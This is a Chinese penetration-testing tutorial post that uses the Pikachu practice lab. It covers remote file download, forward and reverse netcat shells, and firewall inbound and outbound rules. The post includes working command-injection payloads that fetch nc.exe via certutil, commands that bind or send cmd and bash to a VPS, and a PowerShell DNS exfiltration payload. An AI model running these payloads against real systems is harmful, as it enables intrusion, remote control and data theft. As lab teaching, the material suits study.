网络安全 day5 --- 反弹SHELL不回显带外正反向连接防火墙出入站文件下载

 免责声明

本免责声明适用于作者所有文章内容。使用者需明确,网络安全技术仅供学习和合法研究使用,不得用于任何非法活动,如未经授权的入侵、攻击或数据窃取,所有相关法律责任由使用者自行承担。由于网络安全操作可能带来系统崩溃、数据丢失等风险,使用者应对其操作后果有充分认知,并自行承担任何损失或不良后果。作者和提供者不对因使用这些技术引发的任何损害或法律责任负责,所有资源仅供学习参考,不建议用于生产环境。同时,所有内容遵循公开共享原则,使用者在引用或传播时应遵守相关规定并承担责任。

远程文件下载

我们现在宝塔上安装linux环境并在127.0.0.1中加入自己的公网ip,f68343e8f4be4d35b7e2009ff104d08b.png

 找到nc的官网,将netcat 1.11 for Win32/Win64下载到我们的网站目录下。95b9f12fb58f41a7aff7dd2e4edb937e.png

尝试访问自己的公网IP+文件名。

 348e73dd6f3f4f7b9e1ccf08c174208a.png

 e957b44321a44a1db8919ad2c4846ed1.png

能够进行下载说明可以进行远程文件下载了。

 打开[~]#棱角 ::Edge.Forum* -----》文件下载工具

根据自己的vpsIP、端口和文件名进行填写

可以使用命令进行一键远程下载

3c28294915a346fca8367a1d5c7119be.png

#实用案例1:文件上传下载-解决无图形化&解决数据传输

命令生成:https://forum.ywhack.com/bountytips.php?download

Linux:wget curl python ruby perl java等

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

 

直接将上面的命令执行即可。

 

反弹shell

要控制内网的某一台机器的权限

(1)内网机器把自己的命令行给到外网服务器的某个端口,外网服务器进行监听(唯一方法)

(2)如果内网把命令行权限给到本地某个端口,那外网服务器如果要获得权限,那么必须在路由器上做端口转发,也就是端口映射

 

b70ee510d816433bbd56b564b6196cdc.png


89a9e676d5c042d0b200e7c6c3c561a3.png

连接实验

外网机器控制内网机器

只能主动给出去权限,这里不做演示了

内网机器:nc -e cmd vpsIP 5566

外网机器:ncat -lvp 5566

这样就可以让外网机器控制内网机器了。

内网机器控制外网机器

这个只需要外网机器把权限给到本地的5566,然后内网机器去连接

内网机器:nc vpsIP 5566

外网机器:ncat -e /bin/bash -lvp 5566

 

 

正向连接(Forward Connection)

通常指的是客户端主动向服务器发起连接的行为。这种连接模式是网络通信中的常见模式,客户端会通过发送请求来与服务器建立通信会话,服务器接收请求并返回响应。

简而言之,自己出去找(自己去连接外面的)。

正向实验

#实用案例2:反弹Shell命令-解决数据回显&解决数据通讯

命令生成:https://forum.ywhack.com/shell.php

netsh advfirewall firewall add rule name="Open Port 5566" protocol=TCP dir=in localport=5566 action=allow

# window上打开本地5566端口

netsh advfirewall set allprofiles state off

# window上开启所有端口,直接关闭防火墙,允许所有入站流量

 

1、正向连接:本地监听等待对方连接

Linux控制Windows

window输入:

//绑定CMD到本地5566端口

nc -e cmd -lvp 5566

linux输入:

//主动连接目标5566

ncat vpsIP 5566

4571616afb6b4ca39e119a311f8a8dbd.png

Windows控制Linux

linux输入:

//绑定SH到本地5566端口

ncat -e /bin/sh -lvp 5566

window输入:

//主动连接目标5566

nc vpsIP 5566

52e3b6ac54b24db3bafe8248b5ab99d5.png

如图我们正向连接成功了,从上描述来看正向连接就是将自己的cmd或者/bin/sh放在本地某个端口,等待别人去连接自己。

 

 

反向连接

反向连接(Reverse Connection),则是由服务端主动向客户端发起连接。这通常用于绕过防火墙或其他网络防护措施,尤其在内网渗透、远程访问或控制的场景中非常常见。

简而言之,别人把权限给进来。

反向连接实验

d5986eb8684f4db68ecfcd2b57c5b780.png

类似于这样将自己的命令行权限给到另一台机器的5566端口,另一台机器只需要在5566端口监听即可获取权限。

 

window管道符号 :

例子:

| & || &&

作用和linux一样

 

linux管道符号 :

; | || & && ``(特有``和;)

例子:

ping -c 1 127.0.0.1 ; whoami

# 都执行

ping -c 1 127.0.0.1 | whoami

# 执行后面一条(管道符)

ping -c 1 127.0.0.1 || whoami

# 执行前一条(逻辑或)

ping -c 1 127.0.0.1 & whoami

# 都执行(分割)

ping -c 1 127.0.0.1 && whoami

# 都执行(逻辑与)

ping -c 1 127.0.0.1 `whoami`

# 输出root(执行转译)

 

皮卡丘靶场搭建

本地搭建

在自己的vps上进行搭建

皮卡丘网址:

https://github.com/zhuifengshaonianhanlu/pikachu

安装phpstudy。

将pikachu文件夹放到WWW目录下

把pikachu里面的inc文件夹下的config.inc中加入数据库密码root

 

e3934465e3324ddfbaf41081b8439e55.png

 

 然后直接本地打开,按照红色字样进行pkxss数据库安装,因为我这里已经安装过了所以没有红色字样,也可以访问/pikachu/install.php进行安装d10c03fb51b04c6ab84febdc1f843bb2.png

pikachu外网发布

方法一:内网穿透

cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站

使用cpolar进行内网穿透,安装成功后访问本地127.0.0.1:9200端口注册账号登陆

5ce718dd14174905a06730c87e6ba9da.png

登陆之后我们创建一条隧道将本地的80端口服务发布到公网即可

方法二:宝塔搭建(建议使用)

安装好宝塔,登陆进去安装好apache和mysql环境

7542431b48954a98829a556f4cb89b92.png

第一步关闭防火墙。

等待apache和mysql都安装完成后直接添加站点,域名什么的自己配置。(值得注意的是宝塔搭建需要在宝塔面板自己创建一个数据库,因为pikachu是敏感名字需要自己改一改然后配置文件的名字也需要自行修改)0b033158caba4fb8acc8a13a25dfae62.png7f200b175cd94a18a19e216e3e3ed238.png

找到宝塔面板的php.ini删除所有禁止函数,这个是宝塔自带了很多禁止函数这里我一开始忘记截图了已经删了很多了就随便加上去一个做个演示,用phpstudy搭建就没有,因为宝塔里面的php环境是经过设置了。c2fa2b01d3414a2dabaa9022530cfbba.png

设置成如上图

3cbc825eb85643e9a110028f7e572cf7.png

找到php版本切换到另一个版本再切换到刚刚进行修改的版本即可。

访问网站 f091ce75aecf40eaa1f9870edcfc40d2.png

成功执行。 我们这里显示不出来是因为编码的问题。浏览器编码和php脚本编码存在默认冲突。

在rce_ping.php文件中加入一行配置e0e55239af814c498548c399d4befa2d.png

再次尝试输入

 979efafcb0aa471bbc1cccebc8d23a9d.png

成功输出。 打开本地安全策略,我们把宝塔ip安全策略也关了

c90e3b3abcf64fa391dfc399c6560c4c.png

全部取消掉点确定 

e57adb343cd3434b9bfa65d5fc866eba.png 

pikachu打靶场拿shell 

我们现在就让靶场主动把权限给到我们的vps,我们之前有在我们攻击机上配置网站存放我们的远程下载脚本,这个简单不多说了。

我们打开[~]#棱角 ::Edge.Forum*

 

输入我们的信息选取命令

127.0.0.1 | certutil.exe -urlcache -split -f http://vps:80/nc.exe c:\\nc.exe

注意:我们这里的nc没有做免杀所以我们要把靶场的和远程下载机器的防火墙关了

e18dcbb1ebb0466893d950b650db13e8.png

451ca15146d640389458314ec1f3aaef.png 上传成功

接下来我们做反弹

正向:

127.0.0.1 | c:\\nc.exe -e cmd -lvvp 5566

# 将服务器的cmd反弹到本地的5566端口

ncat vpsIP 5566 

# 使用linux的ncat监听服务器的5566端口

b5b827ab1d4e4eceb36e8b4dc2b270c9.png

# 连接成功,尝试ipconfig可以执行

反向:

127.0.0.1 | c:\\nc.exe -e cmd VPSIP 5566

# 把权限给到远程攻击机

ncat -lvvp 5566

# 攻击机监听本地的5566端口

efcabd1a038f47e19df046f590b198b0.png

成功拿下权限。

在开启防火墙的情况下拿下pikachu

先打开防火墙

 db007776f3ec41fbbfa7bd2eac4df136.png

090e51178e5741e1b3a4bed7cdce117e.png

9d7868dc52634e499db6509ef24db699.png 

添加规则限制5566端口传输

之前那个正向连接的方法就失效了,因为入站规则5566被禁止了。

 我们现在可以用把权限给出去的出站方法现在。

反向:

127.0.0.1 | c:\\nc.exe -e cmd VPSIP 5566

# 把权限给到远程攻击机

ncat -lvvp 5566

# 攻击机监听本地的5566端口074f40fb9a354ad4aee305f3cf57c74f.png

我们现在把限制入站的规则删除,加个限制出站的5566

 61daab56da30473eaae997c662b1df3f.png

可想而之反向操作不行了,而且我们的防火墙开放了那入站也不行了,只能进入开通了入站策略的端口,防火墙默认开启后入站检测会更加严格,出站会更加宽松。所以这个时候我们需要自己开启一个正向的5566端口才能进行通讯,我们再去入站添加5566端口通讯就可以正向连接了。然后我们把刚刚设置的先删除了,现在应该理解了防火墙的入站和出站规则了。

数据回显

0e997ff2d1d74aeeab7d42df1fa0bd72.png

把这一行注释掉

 d97b43891ea74ebabfe19d3c7ebf2622.png

命令执行之后发现没有回显了 

3669784bacdc4d8fa12a1945e6a3a47d.png

解决方法:

方法一: 反弹shell

直接尝试反弹shell,能够反弹成功那肯定有回显了。

 

方法二:外带查询

4332c8e1abdd48e8a1d3c723af142d18.png

 选用一个dns平台进行外带查询,linux下可以使用`whoami`执行命令外带进入之后刚好是可行的。

DNSLOG Platform

本来想用DNSLog Platform但是进不去。所以换了个dns平台使用

因为我们的靶机服务器是window的,cmd不支持``也不支持whoami但是powershell支持

630d9d7e04b448dead287f100fd9ef60.png

而且powershell支持变量赋值

 设置变量x为whoami,变量y为dnslog外带地址

074b9698241b4a629771010dfbf365e4.png

再定义一个z变量

 d284cf78f9fc4b82b7afed11a4c06bd4.png

会发现还是找不到主机

b1cbd5ffaf1942868f7ba984f85f9705.png 因为地址里面有一个斜杠被当作转义符了。

这个时候怎么解决呢?我们用替换法

bf79154b047b4d3a822315e8008a0068.png

然后重新定义$z

 bc890b08a8fb4986ad55cfb4b8285899.png

显而易见,这四个x就是\

 c35a8cfdc7e944538f2e46056e7f2bc2.png

再次ping $z看到我们ping通主机了。

那这种情况我们在靶场中怎么使用呢? 

为什么这样写?
cmd无法执行whoami
用到pwershell变量赋值 把whoami执行结果给变量
结果带有“\”无法执行
这个可以绕过防火墙走的是ICMP协议不走TCP和UDP协议

127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.68ab23bf.log.dnslog.sbs.';$z=$x+$y;ping $z;

 # 这里我实验没出来不知道为什么,在命令行上面实验出来了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/423634.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统 在产品将要上线之前,需要制作不同类型格式的根文件系统 在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统 优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命 【1】重启上位机nfs服…

【计算机网络】HTTPHTTPS

HTTP&HTTPS HTTP协议初识HTTP如何抓包Fiddler的使用抓包查看包的信息 报文格式请求报文响应报文报文对比 URLHTTP方法认识Header初识状态码 HTTPS协议为什么需要 HTTPS加密基础知识HTTPS的工作流程引入对称加密引入非对称加密引入证书HTTPS 的工作流程 浏览器从输入URL到展…

短视频剪辑从简单到复杂,这四款很OK!

作为一个刚刚踏入视频剪辑世界的新手,我最近可是忙得不亦乐乎。我尝试了四款流行的视频剪辑软件,今天,就让我来和大家分享一下我的使用感受,看看哪款软件更适合我们这些初学者。这里先说一句,选择视频剪辑软件就像挑衣…

opencv学习:calcHist 函数绘制图像直方图及代码实现

cv2.calcHist 函数是 OpenCV 库中用于计算图像直方图的函数。直方图是一种统计图像中像素值分布的工具,它可以提供图像的亮度、颜色等信息。这个函数可以用于灰度图像和彩色图像。 函数语法 hist cv2.calcHist(images, channels, mask, histSize, ranges, accumu…

解决 PyCharm 无法启动 Jupyter 服务器的问题:报错分析与解决方案

文章目录 报错背景报错详细信息解决方案pycharm 设置 报错背景 在使用 pycharm 付费版的过程中,发现一直无法启动 jupyter 服务器。 一直也不知道是为什么,直到在终端输入: jupyter notebook发现 jupyter 服务无法启动。 报错详细信息 下…

数据库系列之GaussDB数据库中逻辑对象关系简析

初次接触openGauss或GaussDB数据库的逻辑对象,被其中的表空间、数据库、schema和用户之间的关系,以及授权管理困惑住了,与熟悉的MySQL数据库的逻辑对象又有明显的不同。本文旨在简要梳理下GaussDB数据库逻辑对象之间的关系,以加深…

浅谈EXT2文件系统(1)

简介 EXT2(Second Extended Filesystem)文件系统是Linux操作系统的早期文件系统之一,它于 1993 年推出,是第一个旨在克服 Ext 文件系统限制的商业文件系统。EXT2 没有日志功能,EXT2 支持的单个文件大小为 2TB&#xf…

如何在Word中插入复选框

如何在Word中插入复选框:详细教程与技巧 在Word中插入复选框是一项非常实用的技巧,尤其是在制作问卷调查、待办事项清单、交互式表单或文档中需要用户进行选择时,复选框不仅能提高文档的功能性,还能显得更加专业。本文将详细讲解…

不小心把回收站清空了怎么恢复?别慌!四招找回

在日常使用电脑的过程中,我们可能会不小心清空回收站,从而丢失一些重要的文件。当遇到这种情况时,很多人可能会感到焦虑和无助。然而,幸运的是,有一些方法可以帮助我们尝试恢复这些被删除的文件。下面,我们…

大数据-133 - ClickHouse 基础概述 全面了解

点一下关注吧!!!非常感谢!!持续更新!!! 目前已经更新到了: Hadoop(已更完)HDFS(已更完)MapReduce(已更完&am…

关于【禁止new对象时在for循环内定义申明变量】

文章目录 简介代码分析反编译之后对比性能测试内存与垃圾回收情况JDK和常用框架怎么写总结依赖 简介 不知道是谁最先提出了一个不要将变量定义在循环内。 然后我们在代码扫描中有一项是:【禁止new对象时在for循环内定义申明变量】 我也好奇为什么不能&#xff1f…

如何利用MES系统进行产品质量全流程追溯

利用MES(制造执行系统)系统进行产品质量全流程追溯,是一个系统化和精细化的过程,主要涉及数据采集、信息整合、过程控制、查询分析以及持续优化等多个环节。以下是如何具体利用MES系统进行产品质量全流程追溯的步骤: 一…

centos(在线、离线)安装iptables

Iptables 是 Linux 操作系统中的一个用户空间工具,用来配置 Linux 内核中的 Netfilter 防火墙模块。它主要负责网络数据包的过滤、网络地址转换 (NAT) 以及配置防火墙规则。centos默认的防火墙管理工具是Firewalld,所以iptables需要下载安装。 目录 一…

嵌入式软件工程师:科技浪潮中的关键角色

嵌入式软件工程师:科技浪潮中的关键角色 一、嵌入式软件工程师的职业魅力 (一)市场需求旺盛 嵌入式软件工程师在当今科技领域中扮演着至关重要的角色。随着智能化时代的到来,嵌入式系统在各个行业的应用越来越广泛,市…

【贪心算法】贪心算法

贪心算法简介 1.什么是贪心算法2.贪心算法的特点3.学习贪心的方向 点赞👍👍收藏🌟🌟关注💖💖 你的支持是对我最大的鼓励,我们一起努力吧!😃😃 1.什么是贪心算法 与其说是…

[linux基础知识]教你使用vim和ctags阅读linux内核源码

1 安装ctags apt install ctags 2 内核源码目录下添加索引 使用下面命令,添加索引成功后,内核目录下会生成tags 索引文件。 ctags -R 3 vim使用索引阅读源码 跳转到函数变量定义与返回 #跳到函数或者变量定义 Ctrl] #返回 Ctrlo 光标移动到需要…

vue + Element UI table动态合并单元格

一、功能需求 1、根据名称相同的合并工作阶段和主要任务合并这两列,但主要任务内容一样,但要考虑主要任务一样,但工作阶段不一样的情况。(枞向合并) 2、落实情况里的定量内容和定性内容值一样则合并。(横向…

设置使用阿里云服务器DNS

由于云服务器是从腾讯云迁移到阿里云,然后使用ssl验证时一直无法使用dns验证,也无法创建三级域名,原来需要把阿里云服务器改成阿里云的dns使用 如果使用其他服务器DNS会下面会显示当前DNS服务器,

Linux:git

hello,各位小伙伴,本篇文章跟大家一起学习《Linux:git》,感谢大家对我上一篇的支持,如有什么问题,还请多多指教 ! 如果本篇文章对你有帮助,还请各位点点赞!!&…

解决Docker镜像不可下载

使用国内可信的镜像中心 可信国内镜像网址:https://hub.atomgit.com/ 点击镜像仓库 搜索想要的镜像 按如图所示,即可查看对应的版本 点击复制,即可下载使用 缺点: 可用的镜像相比于docker官方量少 并且,获取的镜像名字…